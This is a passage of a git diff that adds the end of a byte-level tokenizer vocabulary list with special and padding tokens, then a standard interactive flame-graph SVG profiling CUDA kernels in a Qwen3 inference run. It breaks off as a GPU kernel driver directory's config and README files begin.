+ëĸĶ +ëĸª +ëĺŃ +ëļĢ +ëļł +ëĽĶ +뼩 +ëľħ +ëŀķ +ëŀ° +ëŁIJ +ëł¡ +ë¡ŀ +ë¡£ +롵 +ë£Ħ +ë£į +뤳 +ë¦į +ë¦ı +릳 +ë§Ħ +ë§Ĩ +ë§į +ë§ľ +ë§« +ë§» +먮 +ë©Ĥ +ë©Ń +몴 +묾 +묳 +묫 +묾 +ëѬ +ë®ĺ +뮹 +ë¯ķ +ë¯ľ +ë°¨ +ë°ª +ë±Ķ +ë²ĺ +ë²Ľ +ë²± +ë²´ +ë´½ +뵤 +뵨 +ë·Ĺ +ë·ĺ +ë¸ĵ +븾 +빪 +ëºĥ +ëºĺ +뺵 +ë»´ +ë¼IJ +ë¾Ķ +ìģŃ +ìĤł +ìĤ® +ìĥı +ìĥĻ +ìĦº +ìħ¢ +ìĨĢ +ìĨħ +ìĨ¤ +ìĨ¦ +ìĨ¬ +ìĩ± +ìε +ìĭ¨ +ìĭ´ +ìĮ° +ìįľ +ìİĹ +ìİĺ +ìݼ +ìijī +ìijĿ +ìij» +ìĴĶ +ìĴ¯ +ìĵ© +ìķIJ +ìķĸ +ìĸł +ìĸ¾ +ìĹĥ +ìĹĹ +ìĹľ +ìŨ +ìĺĤ +ìĺĦ +ìĺı +ìĺ¾ +ìĺ¿ +ìľ§ +ìĿIJ +ìĿĸ +ìĿ· +ìŀį +ìŀı +ìŀ¨ +ìŀª +ìŀ³ +ìł¡ +ìł´ +ìł¹ +ì¡Ģ +졪 +졵 +ì¢IJ +좨 +ì£Į +ì£Ļ +죳 +ì¦ij +ì§¥ +ì§´ +ì§¾ +ì¨ĵ +ì¨ķ +ì©° +ì©» +쩼 +ìªĹ +ì¬Ķ +ì¬ĺ +ì®® +ì¯ķ +ì¯ĺ +ì°İ +ì°¯ +ì±ĥ +ì±µ +ì²§ +ì²® +첯 +쳬 +ì´ĭ +ì´¢ +ìµ¥ +ì¶£ +ì¸Ī +ì¸Ļ +캤 +ìºŃ +컽 +ì¼Ļ +콬 +ì¾Ģ +ì¿ħ +쿽 +íĢħ +íģ¦ +íĤħ +íĥ¶ +íĥ¹ +íĦĶ +íħ£ +íĨĦ +íĨ§ +íĨ¹ +íĩ¼ +íī¤ +íĬ½ +íĭĤ +íĭij +íįĪ +íįĻ +íį¿ +íݶ +íIJĿ +íĴľ +íĵĿ +íĵª +íĵ± +íĵ· +íĵ¼ +íĶĻ +íĶł +íķļ +íķĽ +íķŀ +íķŁ +íķ§ +íķ¶ +íĸĬ +íĸĭ +íĸį +íĸĶ +íĸĺ +íĸ¡ +íĸ¬ +íĹ£ +íĹ¿ +íĺĸ +íĺŃ +íļ° +íĽį +íĽ½ +íĿŁ +íĿŃ +íĿ´ +íŀľ +ï¤ī +ï¤Ń +爐 +蘆 +祿 +ï¥Ģ +ï¥ij +ï¥Ĵ +ï¥ķ +ï¥ĺ +ï¥Ļ +參 +塞 +殺 +勵 +ï¦ĭ +ï¦ı +ï¦Ķ +ï¦ĸ +ï¦ĺ +ï¦Ľ +ï¦ł +瑩 +羚 +了 +僚 +料 +ï§Ĩ +ï§ĸ +ï§Ľ +ï§ŀ +ï§Ł +ï§§ +ï§³ +狀 +ï§½ +ï¨ĥ +ï¨ļ +諸 +ï©Ł +ﬤ +שּׁ +לּ +ïŃĴ +ïŃķ +ïŃĽ +ïŃĿ +ïŃŀ +ïŃŁ +ïѤ +ïѧ +ïѨ +ïŃ® +ïѰ +ïѱ +ïŃ· +ïѹ +ïŃ» +ï®Ģ +ï®ĥ +ï®Ħ +ï®ħ +ï®į +ï®Ĵ +ï®ĵ +ï®ķ +ﮦ +ï®® +ï®° +ï¯ĵ +ï¯ľ +ﯩ +ﯪ +ﯬ +ï¯Ń +ﯮ +ﯷ +ﯹ +ﯻ +ﯼ +ï°ĥ +ï°Į +ï°IJ +ï°ĺ +ï°Ļ +ï°ľ +ï°ŀ +ï°¢ +ï°® +ï°° +ï°¼ +ï°¿ +ï±Ģ +ï±ģ +ï±Ī +ï±ĭ +ï±ı +ï±Ń +ï²Ģ +ï²ĩ +ï²Ī +ï²ĭ +ï²İ +ï²Ĵ +ï²ľ +ï²ł +ﲬ +ï²» +ï³ĩ +ï³Ķ +ï³£ +ﳫ +ï´ĺ +ï´° +ï´½ +ï¶ +ï¶° +ï¸ĸ +︴ +︹ +ï¹į +ï¹Ĺ +ï¹¢ +﹤ +﹩ +ï¹± +ï¾° +ï¿Ĥ +ï¿® +ðIJĮ° +ðIJĮ¹ +ðIJĮº +ðIJĮ½ +ðIJįĤ +ðIJįĥ +ðIJįĦ +ðIJİ +ðIJݹ +ðIJ¤Ĥ +ðIJ¤į +ðIJ¤ı +ðIJ¤ĵ +ðIJŃī +ðIJŃį +ðIJ°ĩ +ðIJ°° +ðijĤ +ðijĤĦ +ðijĺ +ðijĺģ +ðĴĢ +ðĴ̏ +ðĴģ +ðĴģº +ðĴĦ +ðĴĦ· +ðĴĬ +ðĴĬij +ðĴĭ +ðĴĭĹ +ðĴĮ +ðĴĮ¨ +ðĵĥ¢ +ðĵĥ° +ðĸł +ðĸłļ +ðĿĦĥ +ðĿĦħ +ðĿĦķ +ðĿĦĻ +ðĿĦ± +ðĿĦ´ +ðĿĦ¹ +ðĿħİ +ðĿħª +ðĿĨ£ +ðĿĨ³ +ðĿĨ¹ +ðĿĩĬ +ðĿĩĹ +ðĿĩļ +ðĿĩľ +ðĿĩł +ðĿIJī +ðĿIJĸ +ðĿIJĺ +ðĿIJ£ +ðĿIJ± +ðĿijĬ +ðĿijŃ +ðĿij¼ +ðĿij½ +ðĿĴ° +ðĿĴ· +ðĿĴ¿ +ðĿĵģ +ðĿĵĭ +ðĿĵİ +ðĿĵĴ +ðĿĵĺ +ðĿĵ¢ +ðĿĵ¦ +ðĿĵ« +ðĿĵ¿ +ðĿĶİ +ðĿͱ +ðĿĶ´ +ðĿĶ· +ðĿ͏ +ðĿͽ +ðĿķĤ +ðĿķĥ +ðĿķĭ +ðĿķı +ðĿķIJ +ðĿķ¥ +ðĿķ´ +ðĿķº +ðĿĸIJ +ðĿĸĽ +ðĿĸĿ +ðĿĸŀ +ðĿĹ© +ðĿĹ³ +ðĿĹ½ +ðĿĺĬ +ðĿĺĭ +ðĿĺĶ +ðĿĺ± +ðĿĺ´ +ðĿĺ¿ +ðĿĻĴ +ðĿĻĿ +ðĿĻŁ +ðĿϬ +ðĿĻŃ +ðĿĻ» +ðĿϾ +ðĿļĪ +ðĿļĭ +ðĿļij +ðĿļŁ +ðĿļł +ðĿļ£ +ðĿĽ½ +ðĿľĤ +ðĿľĶ +ðĿľĻ +ðŁĢ +ðŁĢĦ +ðŁĦ² +ðŁĦ¶ +ðŁħIJ +ðŁħĸ +ðŁħļ +ðŁħĽ +ðŁħ¦ +ðŁħ¶ +ðŁħ» +ðŁħ¼ +ðŁĨĥ +ðŁĨĨ +ðŁĨİ +ðŁĪ¯ +ðŁĪ² +ðŁĪ¹ +ðŁĮĩ +ðŁĮĵ +ðŁįĺ +ðŁİij +ðŁİ¿ +ðŁıı +ðŁıĴ +ðŁı© +ðŁı¯ +ðŁIJĢ +ðŁijĿ +ðŁĴ¹ +ðŁĴº +ðŁĵŁ +ðŁĵª +ðŁĵ¼ +ðŁĶĢ +ðŁĶĤ +ðŁĶĥ +ðŁĶĩ +ðŁĶĵ +ðŁĶ¢ +ðŁĶ¤ +ðŁĶ© +ðŁķĸ +ðŁķļ +ðŁķľ +ðŁķĿ +ðŁķŀ +ðŁķł +ðŁķ¢ +ðŁķ³ +ðŁĸĩ +ðŁĸij +ðŁĸ¶ +ðŁĹģ +Ѩ +Úİ +á¡Į +Ḱ +áºĢ +á¼® +á½Ŀ +âĦ¬ +âļ§ +⼤ +㳬 +êĻĭ +ê¸ij +ëĶī +ëĹį +ë¡ij +ë¯ij +ë»ħ +ë¼Ŀ +ìĦIJ +ìī¡ +ìĭ² +ìı± +ìŤ +ìĿ© +ìĿ¿ +ìŁĻ +ìł° +ì¥ī +íĬŃ +íķ® +ï®ı +ðŁħ± +ðŁĨĴ +ðŁķĭ +Éĺ +Êĵ +Õĥ +à´´ +à½ħ +áĨº +áĪĬ +á΍ +áξ +áīIJ +áĮĥ +áĮ½ +áĶŃ +áłĤ +ᳬ +ᨸ +á©ĭ +á¶ı +á¾Ķ +á¿IJ +á¿ļ +âĻĻ +âļĤ +âļĹ +â¡¢ +⤦ +ëĸ° +ë¤Ĥ +ë§ł +ë±ĭ +ë±IJ +ìĽ¢ +ìľ¾ +ì³ħ +ì»ģ +íģ» +íĥĻ +íĵĸ +íĵŃ +íķ± +íĽľ +ï¤ħ +ï¤Ĩ +ï¦ĥ +ï§© +ï¨Ĥ +ðIJ¤Ķ +ðIJŃĵ +ðIJ°¼ +ðĿĵŀ +ðĿĵ° +ðĿĻľ +ðĿļģ +ðŁħ¢ +ðŁıĩ +Ȳ +ʶ +ÔĪ +Ôij +Ýĵ +Ý¥ +à¤ij +ॱ +à¬ī +à°³ +à°µ +à²Ł +áĢı +áģ¼ +áī¨ +áĬĴ +áĭ© +áĮĦ +áĮĶ +áIJ§ +áĴĮ +áĶħ +áĶĬ +áłĦ +á¨ģ +á¸ĥ +ḻ +âĶŀ +âĺµ +âļ£ +â²¢ +ãĪª +ä¶µ +ê²Ļ +ê²´ +ê³Ĥ +롼 +ìĨĬ +ì¼ĩ +íĭį +íĵ¬ +íĵ® +íĵ¶ +íĵ» +臘 +ï¥ł +辰 +ïѲ +ðIJŃĬ +ðIJ±ħ +ðĸ¥ +ðĸ¥¨ +ðĿij³ +ðĿĵķ +ðĿĵ¬ +ðĿĵ¹ +ðĿĵ¾ +ðĿĶĵ +ðĿķį +ðĿķ¡ +ðĿķ± +ðĿĸĸ +ðĿĺı +ðĿĺIJ +ðĿĺļ +ðĿĻ® +ðĿϰ +ðĿϏ +ðĿĻº +ðĿϼ +ðĿϽ +ðĿĻ¿ +ðĿļĦ +ðĿļı +ðŁħħ +ðŁħĵ +ÆĪ +àłĮ +áϳ +áļĮ +áĽħ +áĽIJ +á¤Ĭ +á¸Ĭ +âͽ +âķĬ +âĽĩ +âĽı +âĿª +âĿ« +⣰ +ãĦį +ãĦĵ +ãĦ§ +ãħĸ +ãī« +ê¦Ķ +ï±Ĭ +àºĤ +áħ£ +á¥Ķ +ᥤ +âĨ¤ +âĨ· +âĩŀ +âĸ¤ +âŀ¶ +ãμ +嘆 +ðĵı§ +âͲ +âĢ´ +âĴŁ +âĴ¡ +â°Ĥ +â°į +â°İ +â°IJ +â°ij +â°Ł +â°ł +â°¡ +â¼Ń +ãĬ¥ +âĴł +⽺ +ãĩº +ãĩ½ +ï¨Ĭ +áķ· +â፠+âºŁ +â½Ĺ +<|endoftext|> +<|im_start|> +<|im_end|> +<|object_ref_start|> +<|object_ref_end|> +<|box_start|> +<|box_end|> +<|quad_start|> +<|quad_end|> +<|vision_start|> +<|vision_end|> +<|vision_pad|> +<|image_pad|> +<|video_pad|> +<tool_call> +</tool_call> +<|fim_prefix|> +<|fim_middle|> +<|fim_suffix|> +<|fim_pad|> +<|repo_name|> +<|file_sep|> +<tool_response> +</tool_response> +<think> +</think> +[PAD151669] +[PAD151670] +[PAD151671] +[PAD151672] +[PAD151673] +[PAD151674] +[PAD151675] +[PAD151676] +[PAD151677] +[PAD151678] +[PAD151679] +[PAD151680] +[PAD151681] +[PAD151682] +[PAD151683] +[PAD151684] +[PAD151685] +[PAD151686] +[PAD151687] +[PAD151688] +[PAD151689] +[PAD151690] +[PAD151691] +[PAD151692] +[PAD151693] +[PAD151694] +[PAD151695] +[PAD151696] +[PAD151697] +[PAD151698] +[PAD151699] +[PAD151700] +[PAD151701] +[PAD151702] +[PAD151703] +[PAD151704] +[PAD151705] +[PAD151706] +[PAD151707] +[PAD151708] +[PAD151709] +[PAD151710] +[PAD151711] +[PAD151712] +[PAD151713] +[PAD151714] +[PAD151715] +[PAD151716] +[PAD151717] +[PAD151718] +[PAD151719] +[PAD151720] +[PAD151721] +[PAD151722] +[PAD151723] +[PAD151724] +[PAD151725] +[PAD151726] +[PAD151727] +[PAD151728] +[PAD151729] +[PAD151730] +[PAD151731] +[PAD151732] +[PAD151733] +[PAD151734] +[PAD151735] +[PAD151736] +[PAD151737] +[PAD151738] +[PAD151739] +[PAD151740] +[PAD151741] +[PAD151742] +[PAD151743] +[PAD151744] +[PAD151745] +[PAD151746] +[PAD151747] +[PAD151748] +[PAD151749] +[PAD151750] +[PAD151751] +[PAD151752] +[PAD151753] +[PAD151754] +[PAD151755] +[PAD151756] +[PAD151757] +[PAD151758] +[PAD151759] +[PAD151760] +[PAD151761] +[PAD151762] +[PAD151763] +[PAD151764] +[PAD151765] +[PAD151766] +[PAD151767] +[PAD151768] +[PAD151769] +[PAD151770] +[PAD151771] +[PAD151772] +[PAD151773] +[PAD151774] +[PAD151775] +[PAD151776] +[PAD151777] +[PAD151778] +[PAD151779] +[PAD151780] +[PAD151781] +[PAD151782] +[PAD151783] +[PAD151784] +[PAD151785] +[PAD151786] +[PAD151787] +[PAD151788] +[PAD151789] +[PAD151790] +[PAD151791] +[PAD151792] +[PAD151793] +[PAD151794] +[PAD151795] +[PAD151796] +[PAD151797] +[PAD151798] +[PAD151799] +[PAD151800] +[PAD151801] +[PAD151802] +[PAD151803] +[PAD151804] +[PAD151805] +[PAD151806] +[PAD151807] +[PAD151808] +[PAD151809] +[PAD151810] +[PAD151811] +[PAD151812] +[PAD151813] +[PAD151814] +[PAD151815] +[PAD151816] +[PAD151817] +[PAD151818] +[PAD151819] +[PAD151820] +[PAD151821] +[PAD151822] +[PAD151823] +[PAD151824] +[PAD151825] +[PAD151826] +[PAD151827] +[PAD151828] +[PAD151829] +[PAD151830] +[PAD151831] +[PAD151832] +[PAD151833] +[PAD151834] +[PAD151835] +[PAD151836] +[PAD151837] +[PAD151838] +[PAD151839] +[PAD151840] +[PAD151841] +[PAD151842] +[PAD151843] +[PAD151844] +[PAD151845] +[PAD151846] +[PAD151847] +[PAD151848] +[PAD151849] +[PAD151850] +[PAD151851] +[PAD151852] +[PAD151853] +[PAD151854] +[PAD151855] +[PAD151856] +[PAD151857] +[PAD151858] +[PAD151859] +[PAD151860] +[PAD151861] +[PAD151862] +[PAD151863] +[PAD151864] +[PAD151865] +[PAD151866] +[PAD151867] +[PAD151868] +[PAD151869] +[PAD151870] +[PAD151871] +[PAD151872] +[PAD151873] +[PAD151874] +[PAD151875] +[PAD151876] +[PAD151877] +[PAD151878] +[PAD151879] +[PAD151880] +[PAD151881] +[PAD151882] +[PAD151883] +[PAD151884] +[PAD151885] +[PAD151886] +[PAD151887] +[PAD151888] +[PAD151889] +[PAD151890] +[PAD151891] +[PAD151892] +[PAD151893] +[PAD151894] +[PAD151895] +[PAD151896] +[PAD151897] +[PAD151898] +[PAD151899] +[PAD151900] +[PAD151901] +[PAD151902] +[PAD151903] +[PAD151904] +[PAD151905] +[PAD151906] +[PAD151907] +[PAD151908] +[PAD151909] +[PAD151910] +[PAD151911] +[PAD151912] +[PAD151913] +[PAD151914] +[PAD151915] +[PAD151916] +[PAD151917] +[PAD151918] +[PAD151919] +[PAD151920] +[PAD151921] +[PAD151922] +[PAD151923] +[PAD151924] +[PAD151925] +[PAD151926] +[PAD151927] +[PAD151928] +[PAD151929] +[PAD151930] +[PAD151931] +[PAD151932] +[PAD151933] +[PAD151934] +[PAD151935] diff --git a/src/xpu/flamegraph/qwen3_flamegraph.svg b/src/xpu/flamegraph/qwen3_flamegraph.svg new file mode 100644 index 00000000..ed57977a --- /dev/null +++ b/src/xpu/flamegraph/qwen3_flamegraph.svg @@ -0,0 +1,530 @@ +<?xml version="1.0" standalone="no"?> +<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> +<svg version="1.1" width="1200" height="214" onload="init(evt)" viewBox="0 0 1200 214" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> +<!-- Flame graph stack visualization. See https://github.com/brendangregg/FlameGraph for latest version, and http://www.brendangregg.com/flamegraphs.html for examples. --> +<!-- NOTES: --> +<defs> + <linearGradient id="background" y1="0" y2="1" x1="0" x2="0" > + <stop stop-color="#eeeeee" offset="5%" /> + <stop stop-color="#eeeeb0" offset="95%" /> + </linearGradient> +</defs> +<style type="text/css"> + text { font-family:Verdana; font-size:12px; fill:rgb(0,0,0); } + #search, #ignorecase { opacity:0.1; cursor:pointer; } + #search:hover, #search.show, #ignorecase:hover, #ignorecase.show { opacity:1; } + #subtitle { text-anchor:middle; font-color:rgb(160,160,160); } + #title { text-anchor:middle; font-size:17px} + #unzoom { cursor:pointer; } + #frames > *:hover { stroke:black; stroke-width:0.5; cursor:pointer; } + .hide { display:none; } + .parent { opacity:0.5; } +</style> +<script type="text/ecmascript"> +<![CDATA[ + "use strict"; + var details, searchbtn, unzoombtn, matchedtxt, svg, searching, currentSearchTerm, ignorecase, ignorecaseBtn; + function init(evt) { + details = document.getElementById("details").firstChild; + searchbtn = document.getElementById("search"); + ignorecaseBtn = document.getElementById("ignorecase"); + unzoombtn = document.getElementById("unzoom"); + matchedtxt = document.getElementById("matched"); + svg = document.getElementsByTagName("svg")[0]; + searching = 0; + currentSearchTerm = null; + + // use GET parameters to restore a flamegraphs state. + var params = get_params(); + if (params.x && params.y) + zoom(find_group(document.querySelector('[x="' + params.x + '"][y="' + params.y + '"]'))); + if (params.s) search(params.s); + } + + // event listeners + window.addEventListener("click", function(e) { + var target = find_group(e.target); + if (target) { + if (target.nodeName == "a") { + if (e.ctrlKey === false) return; + e.preventDefault(); + } + if (target.classList.contains("parent")) unzoom(true); + zoom(target); + if (!document.querySelector('.parent')) { + // we have basically done a clearzoom so clear the url + var params = get_params(); + if (params.x) delete params.x; + if (params.y) delete params.y; + history.replaceState(null, null, parse_params(params)); + unzoombtn.classList.add("hide"); + return; + } + + // set parameters for zoom state + var el = target.querySelector("rect"); + if (el && el.attributes && el.attributes.y && el.attributes._orig_x) { + var params = get_params() + params.x = el.attributes._orig_x.value; + params.y = el.attributes.y.value; + history.replaceState(null, null, parse_params(params)); + } + } + else if (e.target.id == "unzoom") clearzoom(); + else if (e.target.id == "search") search_prompt(); + else if (e.target.id == "ignorecase") toggle_ignorecase(); + }, false) + + // mouse-over for info + // show + window.addEventListener("mouseover", function(e) { + var target = find_group(e.target); + if (target) details.nodeValue = "Function: " + g_to_text(target); + }, false) + + // clear + window.addEventListener("mouseout", function(e) { + var target = find_group(e.target); + if (target) details.nodeValue = ' '; + }, false) + + // ctrl-F for search + // ctrl-I to toggle case-sensitive search + window.addEventListener("keydown",function (e) { + if (e.keyCode === 114 || (e.ctrlKey && e.keyCode === 70)) { + e.preventDefault(); + search_prompt(); + } + else if (e.ctrlKey && e.keyCode === 73) { + e.preventDefault(); + toggle_ignorecase(); + } + }, false) + + // functions + function get_params() { + var params = {}; + var paramsarr = window.location.search.substr(1).split('&'); + for (var i = 0; i < paramsarr.length; ++i) { + var tmp = paramsarr[i].split("="); + if (!tmp[0] || !tmp[1]) continue; + params[tmp[0]] = decodeURIComponent(tmp[1]); + } + return params; + } + function parse_params(params) { + var uri = "?"; + for (var key in params) { + uri += key + '=' + encodeURIComponent(params[key]) + '&'; + } + if (uri.slice(-1) == "&") + uri = uri.substring(0, uri.length - 1); + if (uri == '?') + uri = window.location.href.split('?')[0]; + return uri; + } + function find_child(node, selector) { + var children = node.querySelectorAll(selector); + if (children.length) return children[0]; + } + function find_group(node) { + var parent = node.parentElement; + if (!parent) return; + if (parent.id == "frames") return node; + return find_group(parent); + } + function orig_save(e, attr, val) { + if (e.attributes["_orig_" + attr] != undefined) return; + if (e.attributes[attr] == undefined) return; + if (val == undefined) val = e.attributes[attr].value; + e.setAttribute("_orig_" + attr, val); + } + function orig_load(e, attr) { + if (e.attributes["_orig_"+attr] == undefined) return; + e.attributes[attr].value = e.attributes["_orig_" + attr].value; + e.removeAttribute("_orig_"+attr); + } + function g_to_text(e) { + var text = find_child(e, "title").firstChild.nodeValue; + return (text) + } + function g_to_func(e) { + var func = g_to_text(e); + // if there's any manipulation we want to do to the function + // name before it's searched, do it here before returning. + return (func); + } + function update_text(e) { + var r = find_child(e, "rect"); + var t = find_child(e, "text"); + var w = parseFloat(r.attributes.width.value) -3; + var txt = find_child(e, "title").textContent.replace(/\([^(]*\)$/,""); + t.attributes.x.value = parseFloat(r.attributes.x.value) + 3; + + // Smaller than this size won't fit anything + if (w < 2 * 12 * 0.59) { + t.textContent = ""; + return; + } + + t.textContent = txt; + var sl = t.getSubStringLength(0, txt.length); + // check if only whitespace or if we can fit the entire string into width w + if (/^ *$/.test(txt) || sl < w) + return; + + // this isn't perfect, but gives a good starting point + // and avoids calling getSubStringLength too often + var start = Math.floor((w/sl) * txt.length); + for (var x = start; x > 0; x = x-2) { + if (t.getSubStringLength(0, x + 2) <= w) { + t.textContent = txt.substring(0, x) + ".."; + return; + } + } + t.textContent = ""; + } + + // zoom + function zoom_reset(e) { + if (e.attributes != undefined) { + orig_load(e, "x"); + orig_load(e, "width"); + } + if (e.childNodes == undefined) return; + for (var i = 0, c = e.childNodes; i < c.length; i++) { + zoom_reset(c[i]); + } + } + function zoom_child(e, x, ratio) { + if (e.attributes != undefined) { + if (e.attributes.x != undefined) { + orig_save(e, "x"); + e.attributes.x.value = (parseFloat(e.attributes.x.value) - x - 10) * ratio + 10; + if (e.tagName == "text") + e.attributes.x.value = find_child(e.parentNode, "rect[x]").attributes.x.value + 3; + } + if (e.attributes.width != undefined) { + orig_save(e, "width"); + e.attributes.width.value = parseFloat(e.attributes.width.value) * ratio; + } + } + + if (e.childNodes == undefined) return; + for (var i = 0, c = e.childNodes; i < c.length; i++) { + zoom_child(c[i], x - 10, ratio); + } + } + function zoom_parent(e) { + if (e.attributes) { + if (e.attributes.x != undefined) { + orig_save(e, "x"); + e.attributes.x.value = 10; + } + if (e.attributes.width != undefined) { + orig_save(e, "width"); + e.attributes.width.value = parseInt(svg.width.baseVal.value) - (10 * 2); + } + } + if (e.childNodes == undefined) return; + for (var i = 0, c = e.childNodes; i < c.length; i++) { + zoom_parent(c[i]); + } + } + function zoom(node) { + var attr = find_child(node, "rect").attributes; + var width = parseFloat(attr.width.value); + var xmin = parseFloat(attr.x.value); + var xmax = parseFloat(xmin + width); + var ymin = parseFloat(attr.y.value); + var ratio = (svg.width.baseVal.value - 2 * 10) / width; + + // XXX: Workaround for JavaScript float issues (fix me) + var fudge = 0.0001; + + unzoombtn.classList.remove("hide"); + + var el = document.getElementById("frames").children; + for (var i = 0; i < el.length; i++) { + var e = el[i]; + var a = find_child(e, "rect").attributes; + var ex = parseFloat(a.x.value); + var ew = parseFloat(a.width.value); + var upstack; + // Is it an ancestor + if (0 == 0) { + upstack = parseFloat(a.y.value) > ymin; + } else { + upstack = parseFloat(a.y.value) < ymin; + } + if (upstack) { + // Direct ancestor + if (ex <= xmin && (ex+ew+fudge) >= xmax) { + e.classList.add("parent"); + zoom_parent(e); + update_text(e); + } + // not in current path + else + e.classList.add("hide"); + } + // Children maybe + else { + // no common path + if (ex < xmin || ex + fudge >= xmax) { + e.classList.add("hide"); + } + else { + zoom_child(e, xmin, ratio); + update_text(e); + } + } + } + search(); + } + function unzoom(dont_update_text) { + unzoombtn.classList.add("hide"); + var el = document.getElementById("frames").children; + for(var i = 0; i < el.length; i++) { + el[i].classList.remove("parent"); + el[i].classList.remove("hide"); + zoom_reset(el[i]); + if(!dont_update_text) update_text(el[i]); + } + search(); + } + function clearzoom() { + unzoom(); + + // remove zoom state + var params = get_params(); + if (params.x) delete params.x; + if (params.y) delete params.y; + history.replaceState(null, null, parse_params(params)); + } + + // search + function toggle_ignorecase() { + ignorecase = !ignorecase; + if (ignorecase) { + ignorecaseBtn.classList.add("show"); + } else { + ignorecaseBtn.classList.remove("show"); + } + reset_search(); + search(); + } + function reset_search() { + var el = document.querySelectorAll("#frames rect"); + for (var i = 0; i < el.length; i++) { + orig_load(el[i], "fill") + } + var params = get_params(); + delete params.s; + history.replaceState(null, null, parse_params(params)); + } + function search_prompt() { + if (!searching) { + var term = prompt("Enter a search term (regexp " + + "allowed, eg: ^ext4_)" + + (ignorecase ? ", ignoring case" : "") + + "\nPress Ctrl-i to toggle case sensitivity", ""); + if (term != null) search(term); + } else { + reset_search(); + searching = 0; + currentSearchTerm = null; + searchbtn.classList.remove("show"); + searchbtn.firstChild.nodeValue = "Search" + matchedtxt.classList.add("hide"); + matchedtxt.firstChild.nodeValue = "" + } + } + function search(term) { + if (term) currentSearchTerm = term; + if (currentSearchTerm === null) return; + + var re = new RegExp(currentSearchTerm, ignorecase ? 'i' : ''); + var el = document.getElementById("frames").children; + var matches = new Object(); + var maxwidth = 0; + for (var i = 0; i < el.length; i++) { + var e = el[i]; + var func = g_to_func(e); + var rect = find_child(e, "rect"); + if (func == null || rect == null) + continue; + + // Save max width. Only works as we have a root frame + var w = parseFloat(rect.attributes.width.value); + if (w > maxwidth) + maxwidth = w; + + if (func.match(re)) { + // highlight + var x = parseFloat(rect.attributes.x.value); + orig_save(rect, "fill"); + rect.attributes.fill.value = "rgb(230,0,230)"; + + // remember matches + if (matches[x] == undefined) { + matches[x] = w; + } else { + if (w > matches[x]) { + // overwrite with parent + matches[x] = w; + } + } + searching = 1; + } + } + if (!searching) + return; + var params = get_params(); + params.s = currentSearchTerm; + history.replaceState(null, null, parse_params(params)); + + searchbtn.classList.add("show"); + searchbtn.firstChild.nodeValue = "Reset Search"; + + // calculate percent matched, excluding vertical overlap + var count = 0; + var lastx = -1; + var lastw = 0; + var keys = Array(); + for (k in matches) { + if (matches.hasOwnProperty(k)) + keys.push(k); + } + // sort the matched frames by their x location + // ascending, then width descending + keys.sort(function(a, b){ + return a - b; + }); + // Step through frames saving only the biggest bottom-up frames + // thanks to the sort order. This relies on the tree property + // where children are always smaller than their parents. + var fudge = 0.0001; // JavaScript floating point + for (var k in keys) { + var x = parseFloat(keys[k]); + var w = matches[keys[k]]; + if (x >= lastx + lastw - fudge) { + count += w; + lastx = x; + lastw = w; + } + } + // display matched percent + matchedtxt.classList.remove("hide"); + var pct = 100 * count / maxwidth; + if (pct != 100) pct = pct.toFixed(1) + matchedtxt.firstChild.nodeValue = "Matched: " + pct + "%"; + } +]]> +</script> +<rect x="0.0" y="0" width="1200.0" height="214.0" fill="url(#background)" /> +<text id="title" x="600.00" y="24" >Flame Graph</text> +<text id="details" x="10.00" y="197" > </text> +<text id="unzoom" x="10.00" y="24" class="hide">Reset Zoom</text> +<text id="search" x="1090.00" y="24" >Search</text> +<text id="ignorecase" x="1174.00" y="24" >ic</text> +<text id="matched" x="1090.00" y="197" > </text> +<g id="frames"> +<g > +<title>__device_stub__Z13matmul_kernelPfS_S_ii(float*, float*, float*, int, int) (5,455,866 samples, 93.87%) +__device_stub__Z13matmul_kernelPfS_S_ii(float*, float*, float*, int, int) + + +chat(Transformer*, Tokenizer*, Sampler*, char*, char*, int, int, int, TokenBuffer*, int) (5,812,344 samples, 100.00%) +chat(Transformer*, Tokenizer*, Sampler*, char*, char*, int, int, int, TokenBuffer*, int) + + +[GPU_Kernel]_Z13matmul_kernelPfS_S_ii (5,455,866 samples, 93.87%) +[GPU_Kernel]_Z13matmul_kernelPfS_S_ii + + +[GPU_Kernel]_Z30RoPe_rotation_kernel_multiheadiPfiiii (19,097 samples, 0.33%) + + + +main (5,812,344 samples, 100.00%) +main + + +multi_head_attention(int, Config*, RunState*, int, int, int, int) (250,674 samples, 4.31%) +multi.. + + +[GPU_Kernel]_Z24rmsnorm_kernel_multiheadPfS_S_iii (38,193 samples, 0.66%) + + + +[GPU_Kernel]_Z27multi_head_attention_kerneliiPfS_S_S_S_iiii (250,674 samples, 4.31%) +[GPU_.. + + +forward(Transformer*, int, int) (5,812,344 samples, 100.00%) +forward(Transformer*, int, int) + + +0x7ecc8c02a1ca (5,812,344 samples, 100.00%) +0x7ecc8c02a1ca + + +cudaLaunchKernel (5,455,866 samples, 93.87%) +cudaLaunchKernel + + +__device_stub__Z24rmsnorm_kernel_multiheadPfS_S_iii(float*, float*, float*, int, int, int) (38,193 samples, 0.66%) + + + +cudaLaunchKernel (38,193 samples, 0.66%) + + + +cudaLaunchKernel (9,548 samples, 0.16%) + + + +__device_stub__Z30RoPe_rotation_kernel_multiheadiPfiiii(int, float*, int, int, int, int) (19,097 samples, 0.33%) + + + +__device_stub__Z27multi_head_attention_kerneliiPfS_S_S_S_iiii(int, int, float*, float*, float*, float*, float*, int, int, int, int) (250,674 samples, 4.31%) +__dev.. + + +[GPU_Kernel]_Z32f_silu_elementwise_mul_w3_kernelPfS_i (9,548 samples, 0.16%) + + + +cudaLaunchKernel (19,097 samples, 0.33%) + + + +[GPU_Kernel]_Z14rmsnorm_kernelPfS_S_ii (38,912 samples, 0.67%) + + + +cudaLaunchKernel (38,912 samples, 0.67%) + + + +__device_stub__Z32f_silu_elementwise_mul_w3_kernelPfS_i(float*, float*, int) (9,548 samples, 0.16%) + + + +all (5,812,344 samples, 100%) + + + +cudaLaunchKernel (250,674 samples, 4.31%) +cudaL.. + + +__device_stub__Z14rmsnorm_kernelPfS_S_ii(float*, float*, float*, int, int) (38,912 samples, 0.67%) + + + + diff --git a/src/xpu/gpu-kernel-driver/.config b/src/xpu/gpu-kernel-driver/.config new file mode 100644 index 00000000..627dff96 --- /dev/null +++ b/src/xpu/gpu-kernel-driver/.config @@ -0,0 +1,2 @@ +level=Depth +type=GPU diff --git a/src/xpu/gpu-kernel-driver/README.md b/src/xpu/gpu-kernel-driver/README.md new file mode 100644 index 00000000..b2bcf0de --- 